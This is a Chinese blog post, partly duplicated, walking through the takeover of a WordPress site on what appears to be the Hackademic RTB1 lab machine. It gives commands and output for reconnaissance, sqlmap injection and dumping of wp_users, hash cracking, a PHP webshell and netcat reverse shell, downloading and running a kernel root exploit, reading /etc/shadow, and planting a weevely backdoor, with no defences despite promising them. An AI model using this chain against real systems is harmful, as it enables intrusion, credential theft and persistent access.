黑客是怎么入侵你的网站
2014-03-03 10:29
369 查看
黑客攻击常见的方法包括恶意钓鱼攻击、网页挂马攻击、社会工程学攻击及渗透攻击等多种方式。本文将对黑客渗透攻击方式进行分析和描述,并结合实际案例分析提出可行有效的防范方法。
黑客渗透攻击是指黑客针对特定目标实施的多方位的攻击。黑客渗透攻击的目的相当明确,就是入侵并盗取目标环境中的敏感数据信息,如敏感数据、敏感文件等。
-----------------------------------------------------------------------
下面介绍下各个步骤的执行过程。
就可以从响应中得到网站服务器的IP
:173.236.138.113,这是网站服务器托管IP。
可以帮助我们找到其他与这个服务器IP绑定的域名。
26
sites hosted on IP Address 173.236.138.113
我们需要从你的站点得到一下信息:
1.DNS记录(A,NS,TXT,MX 和SOA)
2.网站服务器的类型(Apache,IIS,Tomcat)
3.域名的注册信息(哪个公司拥有这个域名)
4.你的名字,地址,EMAIL和电话
5.你的网站上所运行的脚本类型(PHP,ASP,ASP.NET,JSP,CFM)
6.服务器的操作系统类型(Unix,Linux,Windows,Solaris)
7.服务器对外开放的端口(80,443,21,等)
现在让我们来寻找网站的DNS记录。选择网站“Who.is”来实现这个目标。
搜索后我们找到了hack-test.com的DNS记录信息:
5)
我们可以看到,网站服务器用的是Apache.
稍后我们会检测Apache的版本。
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
6)
可以得到域名注册信息、注册人、地址、电子邮件、电话
7)
可以用Whatweb来检测你的站点使用的是什么脚本语言以及操作系统类型和网站服务器的版本。
我们可以看到,网站使用的是WordPress,操作系统类型是Fedora
Linux,网站服务器版本是Apache 2.2.15
1.检测服务器上运行着哪些服务:
2.检测服务器的OS
服务器只开放了80端口,操作系统是Linux 2.6.22(Fedora Core 6)
Acunetix Web Vulnerability Scanner
AppScan
Linux操作系统
①用Nikto.pl 来获取信息以及弱点:
②也可以使用W3AF,这个工具可以在Backtrack 5 R1中找到
我们可以插入URL,选择full audit选项:
稍等片刻,结果就会出现。
网站存在着sql注入漏洞以及其他的漏洞。
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220,这个地址就是注入点,
我们用sqlmap然后dump所有入侵所需要用到的数据库信息
sqlmap –u url
网站的sql注入类型是error-based Mysql数据库的版本是5.
11)
加上参数“-dbs”可以找出所有的数据库:
12)
用dump
–Dwordpress -tables导出wordpress数据库表
使用参数“-T wp_users –columns”
使用参数
-C user_login,user_pass –dump 来导出列。
之后我们就得到了账号密码。
14)
接来使用这个网站来把MD5转换成明文密码(并不是所有HASH都能成功转换)
“http://www.onlinehashcrack.com/free-hash-reverse.php“
明文密码是:
q1w2e3
用户名 “GeorgeMiller”
16)
现在我们来试着上传一个phpwebshell用来在这台服务器上执行一些linux命令
编辑wordpress的“Textile”插件
插入一个phpwebshell来代替一个真正的插件。之后点击上传,phpwebshell就被成功上传到服务器上了。
17)
现在,PHP
WEBSHELL就成功运行了。现在就可以浏览网站里所有的文件了,但是我们想得到服务器的root权限然后入侵其他的站点。
18)
在我们点击连接之前,我们先得在本机上监听一个“5555”的端口
点击连接,我们会得到这样一个窗口:
我们来试一下linux的命令
ID命令用来告诉我们用户ID和用户组
Pwd命令能告诉我们现在所在的路径
uname –a 命令用来得到一些信息以及内核版本
好了,我们现在知道服务器的内核版本是2.6.31.5-127.fc12.1686
exploit-db.com 找到针对这个版本的exploit
输入: “kernel 2.6.31 “
以上结果没有合适的,因为他们都不是用来提权的。下一个,就是它了!
http://www.exploit-db.com/exploits/15285
http://www.exploit-db.com/download/15285
在netcat shell里输入:
我们用wget命令来获取exploit-db.com的exploit,-O是重命名文件为:roro.c
Note:
Linux内核的exploits大多数都是用c语言开发的所以我们保存后缀名为.c ,直接浏览源文件就可以直接看见源码:
Id
这时候我们已经是root权限了。
uid=0(root) gid=0(root)
22)
我们可以浏览
/etc/shadow file
浏览
/etc/passwd file
黑客需要留一个后门在服务器上,方便以后访问。
这里,我们使用weevely来生成一个小型有密码的php后门,然后上传到服务器上来达到目的。
weevely用法 :
创建一个带密码的php后门
25)
通过phpwebshell上传一个php后门
27)
测试我们的
hax.php 后门
黑客渗透攻击是指黑客针对特定目标实施的多方位的攻击。黑客渗透攻击的目的相当明确,就是入侵并盗取目标环境中的敏感数据信息,如敏感数据、敏感文件等。
渗透攻击一般过程包括:
-->锁定域名 -->获得IP -->查找其他与这个服务器绑定的域名 -->查找DNS记录 -->查找网站服务器的类型 -->查找域名的注册信息 -->查找网站上所运行的站点使用的是什么脚本语言以及操作系统类型 -->查找服务器对外开放的端口 -->扫描弱点(假设WordPress弱点) -->查找数据库版本 -->查找数据库 -->查找数据库表(假设wp_users) -->提取用户名和密码(假设密码Hash加密) -->破解密码 -->登录WordPress后台 -->上传PHP Webshell -->启动信息接收服务器(例如nc -lvvp 555) -->在PHP Webshell设置NC服务器的IP和端口 -->查找服务器操作系统漏洞(比如:在exploit-db.com找到针对这个操作系统的exploit) -->下载漏洞利用代码 -->编译 -->提取用户名和密码(例如:/etc/passwd) -->破解(比如使用John the Ripper破解) -->编写一个小型有密码的PHP后门通过PHP WebShell上传到服务器 -->在本地连接后 -->在本地测试后门。
-----------------------------------------------------------------------
下面介绍下各个步骤的执行过程。
1) 锁定域名
找到你要攻击的域名,例如:hack-test.com2) 获得IP
ping一下这个服务器就可以从响应中得到网站服务器的IP
:173.236.138.113,这是网站服务器托管IP。
3)查找其他与这个服务器绑定的域名
Sameip.org可以帮助我们找到其他与这个服务器IP绑定的域名。
26
sites hosted on IP Address 173.236.138.113
4)查找DNS记录
有26个站点在这台服务器上(173.236.138.113)。许多黑客会选择攻击在同服务器上的不同站点从而入侵到你的网站。但是出于为了学习目的,我们只选择入侵单个的网站。我们需要从你的站点得到一下信息:
1.DNS记录(A,NS,TXT,MX 和SOA)
2.网站服务器的类型(Apache,IIS,Tomcat)
3.域名的注册信息(哪个公司拥有这个域名)
4.你的名字,地址,EMAIL和电话
5.你的网站上所运行的脚本类型(PHP,ASP,ASP.NET,JSP,CFM)
6.服务器的操作系统类型(Unix,Linux,Windows,Solaris)
7.服务器对外开放的端口(80,443,21,等)
现在让我们来寻找网站的DNS记录。选择网站“Who.is”来实现这个目标。
搜索后我们找到了hack-test.com的DNS记录信息:
5)
查找网站服务器的类型
我们可以看到,网站服务器用的是Apache.
稍后我们会检测Apache的版本。
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
6)
查找域名的注册信息
可以得到域名注册信息、注册人、地址、电子邮件、电话
7)
查找网站上所运行的站点使用的是什么脚本语言以及操作系统类型
可以用Whatweb来检测你的站点使用的是什么脚本语言以及操作系统类型和网站服务器的版本。我们可以看到,网站使用的是WordPress,操作系统类型是Fedora
Linux,网站服务器版本是Apache 2.2.15
8)查找服务器对外开放的端口
使用Nmap:1.检测服务器上运行着哪些服务:
root@bt:/# nmap -sV hack-test.com Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-2806:39 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.0013s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) MAC Address: 00:0C:29:01:8A:4D (VMware) Service detection performed. Please report any incorrectresults at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.56seconds root@bt:/# nmap -O hack-test.com Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-2806:40 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.00079s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http MAC Address: 00:0C:29:01:8A:4D (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.22 (Fedora Core 6) Network Distance: 1 hop OS detection performed. Please report any incorrect resultsat http://nmap.org/submit/ . Nmap done: 1IP address (1 host up) scanned in 7.42 seconds
2.检测服务器的OS
root@bt:/# nmap -O hack-test.com Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.00079s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http MAC Address: 00:0C:29:01:8A:4D (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.22 (Fedora Core 6) Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
服务器只开放了80端口,操作系统是Linux 2.6.22(Fedora Core 6)
9) 扫描弱点(假设WordPress弱点)
Windows操作系统Acunetix Web Vulnerability Scanner
AppScan
Linux操作系统
①用Nikto.pl 来获取信息以及弱点:
root@bt:/pentest/web/nikto# perl nikto.pl -hhttp://hack-test.com - Nikto v2.1.4 --------------------------------------------------------------------------- + Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03 --------------------------------------------------------------------------- + Server: Apache/2.2.15(Fedora) + ETag header found on server, inode: 12748, size: 1475,mtime: 0x4996d177f5c3b + Apache/2.2.15 appears tobe outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting thehost is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported onremote host + End Time: 2011-12-29 06:50:37 (34 seconds) --------------------------------------------------------------------------- + 1 host(s)tested
②也可以使用W3AF,这个工具可以在Backtrack 5 R1中找到
root@bt:/pentest/web/w3af# ./w3af_gui Starting w3af, running on: Python version: 2.6.5(r265:79063,Apr162010,13:57:41) [GCC 4.4.3] GTK version:2.20.1 PyGTK version:2.17.0 w3af -WebApplicationAttack and AuditFramework Version:1.2 Revision:4605 Author:AndresRiancho and the w3af team.
我们可以插入URL,选择full audit选项:
稍等片刻,结果就会出现。
网站存在着sql注入漏洞以及其他的漏洞。
10)查找数据库版本
让我们来深入一下sql注入:http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220,这个地址就是注入点,
我们用sqlmap然后dump所有入侵所需要用到的数据库信息
sqlmap –u url
网站的sql注入类型是error-based Mysql数据库的版本是5.
11)
查找数据库
加上参数“-dbs”可以找出所有的数据库:12)
查找数据库表(假设wp_users)
用dump–Dwordpress -tables导出wordpress数据库表
13)提取用户名和密码(假设密码Hash加密)
我们需要导出“wp_users”表来得到用户信息以及密码的hash,之后我们就可以尝试着去破解密码最终登陆到wordpress的后台。使用参数“-T wp_users –columns”
使用参数
-C user_login,user_pass –dump 来导出列。
之后我们就得到了账号密码。
14)
破解密码
接来使用这个网站来把MD5转换成明文密码(并不是所有HASH都能成功转换)“http://www.onlinehashcrack.com/free-hash-reverse.php“
明文密码是:
q1w2e3
用户名 “GeorgeMiller”
15)登录WordPress后台
16)
上传PHP Webshell
现在我们来试着上传一个phpwebshell用来在这台服务器上执行一些linux命令编辑wordpress的“Textile”插件
插入一个phpwebshell来代替一个真正的插件。之后点击上传,phpwebshell就被成功上传到服务器上了。
17)
启动信息接收服务器(例如nc -lvvp 555)
现在,PHPWEBSHELL就成功运行了。现在就可以浏览网站里所有的文件了,但是我们想得到服务器的root权限然后入侵其他的站点。
18)
在PHP Webshell设置NC服务器的IP和端口
在我们点击连接之前,我们先得在本机上监听一个“5555”的端口点击连接,我们会得到这样一个窗口:
我们来试一下linux的命令
id uid=48(apache) gid=489(apache) groups=489(apache) pwd /var/www/html/Hackademic_RTB1/wp-content/plugins uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
ID命令用来告诉我们用户ID和用户组
Pwd命令能告诉我们现在所在的路径
uname –a 命令用来得到一些信息以及内核版本
好了,我们现在知道服务器的内核版本是2.6.31.5-127.fc12.1686
19)查找服务器操作系统漏洞(比如:在exploit-db.com找到针对这个操作系统的exploit)
我们可以在exploit-db.com 找到针对这个版本的exploit
输入: “kernel 2.6.31 “
以上结果没有合适的,因为他们都不是用来提权的。下一个,就是它了!
http://www.exploit-db.com/exploits/15285
20)下载漏洞利用代码
复制这个连接http://www.exploit-db.com/download/15285
在netcat shell里输入:
wget http://www.exploit-db.com/download/15285 -O roro.c --2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285 Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111 Connecting to www.exploit-db.com|199.27.135.111|:80... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: http://www.exploit-db.com/download/15285/ [following] --2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/ Connecting to www.exploit-db.com|199.27.135.111|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 7154 (7.0K) [application/txt] Saving to: `roro.c' 0K ...... 100% 29.7K=0.2s
我们用wget命令来获取exploit-db.com的exploit,-O是重命名文件为:roro.c
Note:
Linux内核的exploits大多数都是用c语言开发的所以我们保存后缀名为.c ,直接浏览源文件就可以直接看见源码:
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <string.h> #include <sys/ptrace.h> #include <sys/utsname.h> #define RECVPORT 5555 #define SENDPORT 6666 intprep_sock(intport) { ints, ret; structsockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf(“ Could not open socket.\n”); exit(-1); } memset(&addr, 0, sizeof(addr)); All the above lines indicate that this is exploit is written in C language After we saved our exploit on server, we will compile it to elf format by typing
21) 编译
我们保存exploit在服务器上之后,我们可以编译它:gcc roro.c –o roro 然后执行exploit: ./roro Linux kernel >= 2.6.30 RDS socket exploit by Dan Rosenberg Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 Overwriting function pointer... Linux kernel >= 2.6.30 RDS socket exploit by Dan Rosenberg Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 Overwriting function pointer... Triggering payload... Restoring function pointer...
Id
这时候我们已经是root权限了。
uid=0(root) gid=0(root)
22)
提取用户名和密码(例如:/etc/passwd)
我们可以浏览/etc/shadow file
cat /etc/shadow
浏览
/etc/passwd file
cat /etc/passwd
23)破解
简单密码可以使用John the Ripper破解,这样就可以用root权限远程连接系统。24)编写一个小型有密码的PHP后门
我们可以用“john the ripper”来破解用户的密码,但我们不会这么做。黑客需要留一个后门在服务器上,方便以后访问。
这里,我们使用weevely来生成一个小型有密码的php后门,然后上传到服务器上来达到目的。
weevely用法 :
root@bt:/pentest/backdoors/web/weevely# ./main.py - Weevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/ Usage: main.py [options] Options: -h, --help show this help message and exit -g, --generate Generate backdoor crypted code, requires -o and -p . -o OUTPUT, --output=OUTPUT Output filename for generated backdoor . -c COMMAND, --command=COMMAND Execute a single command and exit, requires -u and -p . -t, --terminal Start a terminal-like session, requires -u and -p . -C CLUSTER, --cluster=CLUSTER Start in cluster mode reading items from the give file, in the form 'label,url,password' where label is optional. -p PASSWORD, --password=PASSWORD Password of the encrypted backdoor . -u URL, --url=URL Remote backdoor URL .
创建一个带密码的php后门
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko Weevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/ + Backdoor file 'hax.php' created with password 'koko'.
25)
通过PHP WebShell上传到服务器
通过phpwebshell上传一个php后门26)在本地连接后
上传完毕之后我们使用一下命令来连接:root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko Weevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/ + Using method 'system()'. + Retrieving terminal basic environment variables . [apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]
27)
在本地测试后门
测试我们的hax.php 后门
相关文章推荐
- 网站被百度和google 封了,怎么办?
- Dedecms网站地图获取文章列表支持标签调用的方法
- Mvn从网上查找需要依赖的jar包的网站方法
- A段架构师技术的十个学习步骤&演练
- A段架构师_隽语集(IT+設計思考_2201)
- A段架构师_隽语集(IT+設計思考_2101)
- A段架构师_隽语集(IT+設計思考_2001)
- 每一位Android开发者应该知道的Android体系架构和开发库
- 网站资源
- SQL Server中的高可用性(1)----高可用性概览
- 产品开发这几年(6)目录结构
- 每一位Android开发者应该知道的Android体系架构和开发库
- 以用户为中心的Web网站设计流程
- 每一位Android开发者应该知道的Android体系架构和开发库
- zz如何在电脑上测试手机网站(全)
- 学习三层架构感悟
- 网站重构之脚本加载
- 网站cms的前期要素
- 架构就是关注点分离
- 一个”叫床“软件的需求分析及其软件架构设计